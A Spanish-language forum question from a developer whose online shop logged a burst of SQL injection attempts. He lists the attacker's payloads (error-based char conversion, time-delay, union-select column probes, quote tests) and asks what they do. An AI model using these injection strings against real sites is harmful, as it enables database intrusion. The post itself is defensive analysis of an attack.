Creé una tienda en línea para un amigo mío.
Creé un sistema que me envía un correo electrónico cada vez que hay un error en la base de datos, de esa forma, si es un error en mi código, puedo identificarlo y solucionarlo. El correo electrónico incluye detalles sobre la consulta que falló, los datos que se pasaron, los datos de la sesión, etc.
Bueno, a las 3:05 de esta mañana recibí alrededor de 120 correos electrónicos en cinco minutos. para un error en la base de datos y mirando lo que estaba sucediendo, puedo decir rápidamente que fue un ataque de inyección de mysql. Después de ver un montón de cosas que intentó el atacante, me pregunto qué harían realmente algunas de las órdenes de SQL que intentaban pasar.
Después de revisar toda la base de datos, así como los archivos en el sitio, tengo un 99% de certeza de que nada fue dañado, eliminado o cambiado. Lo que me alegra saber que tengo suficiente conocimiento en mi php para saber cómo prevenir estas cosas.
Mi pregunta es, de los comandos mysql a continuación, ¿qué intentaba hacer el atacante?
or 1=convert(int,(select cast(Char(114)+Char(51)+Char(100)+Char(109)+Char(48)+Char(118)+Char(51)+Char(95)+Char(104)+Char(118)+Char(106)+Char(95)+Char(105)+Char(110)+Char(106)+Char(101)+Char(99)+Char(116)+Char(105)+Char(111)+Char(110) as nvarchar(4000))))--
; if (1=1) waitfor delay \'00:00:07\'--
union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--
999999.9 union all select 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--
leachiancs\' and \'x\'=\'x
Gracias por la información.
Más información
La consulta que se ejecutó para cada ataque fue simple
SELECT * FROM tableName WHERE $phpVar AND price!='sold' ORDER BY id DESC
El $ phpVar se rellena en función de si una entrada $ _GET coincide con un término en una matriz de parámetros aceptados.
por lo que la consulta literal que se estaba ejecutando y que devolvía un error era
SELECT * FROM tableName WHERE AND price!='sold' ORDER BY id DESC
Eso es lo que lanzó el seguimiento
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND price!='sold' ORDER BY id DESC' at line 1